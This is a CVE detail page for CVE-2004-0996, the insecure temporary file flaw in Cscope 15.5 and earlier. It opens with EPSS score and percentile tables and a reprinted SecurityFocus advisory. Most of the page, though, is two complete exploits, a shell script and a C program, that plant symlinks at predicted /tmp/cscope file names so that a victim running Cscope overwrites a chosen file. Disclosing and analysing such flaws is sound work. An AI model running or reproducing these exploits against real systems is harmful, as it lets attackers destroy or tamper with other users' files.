CVE-2004-0996 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.22%	–	–
2022-02-13	–	–	3.22%	–	–
2022-04-03	–	–	3.22%	–	–
2022-09-18	–	–	3.22%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.36%
2025-03-30	–	–	–	–	0.36%
2025-04-15	–	–	–	–	0.36%
2025-05-01	–	–	–	–	0.39%
2025-05-01	–	–	–	–	0.39,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	65%
2022-02-13	66%
2022-04-03	83%
2022-09-18	84%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	56%
2025-03-30	55%
2025-04-15	57%
2025-05-01	59%
2025-05-01	59%

source: https://www.securityfocus.com/bid/11697/info Cscope creates temporary files in an insecure way. A design error causes the application to fail to verify the presence of a file before writing to it. During execution, the utility reportedly creates temporary files in the system's temporary directory, '/tmp', with predictable names. This allows attackers to create malicious symbolic links that Cscope will write to when an unsuspecting user executes it. Attackers may leverage these issues to overwrite arbitrary files with the privileges of an unsuspecting user that activates the vulnerable application. Versions up to and including Cscope 15.5 are reported vulnerable. #!/bin/sh ################################################################# # RXcscope_proof.sh # brute force case baby # cscope advisory and exploit by Gangstuck / Psirac <research@rexotec.com> ################################################################# HOWM=30 CURR=`ps | grep ps | awk '{print $1}'` NEXT=`expr $CURR + 5 + $HOWM \* 2 + 1` LAST=`expr $NEXT + $HOWM` echo -e "\n--= Cscope Symlink Vulnerability Exploitation =--\n"\ " [versions 15.5 and minor]\n"\ " Gangstuck / Psirac\n"\ " <research@rexotec.com>\n\n" if [ $# -lt 1 ]; then echo "Usage: $0 <file1> [number_of_guesses]" exit 1 fi rm -f /tmp/cscope* echo "Probed next process id ........ [${NEXT}]" while [ ! "$NEXT" -eq "$LAST" ]; do ln -s $1 /tmp/cscope${NEXT}.1; NEXT=`expr $NEXT + 1` ln -s $1 /tmp/cscope${NEXT}.2; NEXT=`expr $NEXT + 1` done

// source: https://www.securityfocus.com/bid/11697/info Cscope creates temporary files in an insecure way. A design error causes the application to fail to verify the presence of a file before writing to it. During execution, the utility reportedly creates temporary files in the system's temporary directory, '/tmp', with predictable names. This allows attackers to create malicious symbolic links that Cscope will write to when an unsuspecting user executes it. Attackers may leverage these issues to overwrite arbitrary files with the privileges of an unsuspecting user that activates the vulnerable application. Versions up to and including Cscope 15.5 are reported vulnerable. /* RXcscope exploit version 15.5 and minor */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BSIZE 64 int main(int ac, char *av[]) { pid_t cur; u_int i=0, lst; char buffer[BSIZE + 1]; fprintf(stdout, "\n --[ Cscope Exploit ]--\n"\ " version 15.5 and minor \n" \ " Gangstuck / Psirac\n" \ " <research@rexotec.com>\n\n"); if (ac != 3) { fprintf(stderr, "Usage: %s <target> <max file creation>\n", av[0]); return 1; } cur=getpid(); lst=cur+atoi(av[2]); fprintf(stdout, " -> Current process id is ..... [%5d]\n" \ " -> Last process id is ........ [%5d]\n", cur, lst); while (++cur != lst) { snprintf(buffer, BSIZE, "%s/cscope%d.%d", P_tmpdir, cur, (i==2) ? --i : ++i); symlink(av[1], buffer); } return 0; }